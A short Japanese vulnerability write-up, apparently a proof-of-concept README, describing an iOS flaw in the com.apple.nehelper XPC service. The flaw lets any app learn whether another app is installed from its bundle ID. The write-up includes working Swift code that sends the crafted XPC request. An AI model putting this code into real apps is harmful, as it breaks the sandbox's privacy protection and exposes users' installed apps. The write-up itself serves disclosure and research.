
このコードは、Private API を直接使わないように更新しました。詳しくは私のブログ記事をご覧ください。ただし、そのためこのコードは iOS のバージョン固有であり、場合によってはデバイスモデル固有でもあります。お使いのデバイスで動作しない場合は、c.c ファイル内のオフセットを再計算して更新してください。オリジナルのコードは direct ブランチにあります。
この脆弱性により、任意のユーザーインストールアプリが、バンドル ID を指定して、デバイス上に任意のアプリがインストールされているかどうかを判別できます。
XPC エンドポイント "com.apple.nehelper" には、任意のアプリがアクセスできるメソッドがあります。このメソッドはバンドル ID をパラメータとして受け取り、一致するバンドル ID のアプリがデバイスにインストールされている場合はキャッシュ UUID を含む配列を返し、それ以外の場合は空の配列を返します。
これは /usr/libexec/nehelper 内の -[NEHelperCacheManager onQueueHandleMessage:] で発生します。
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}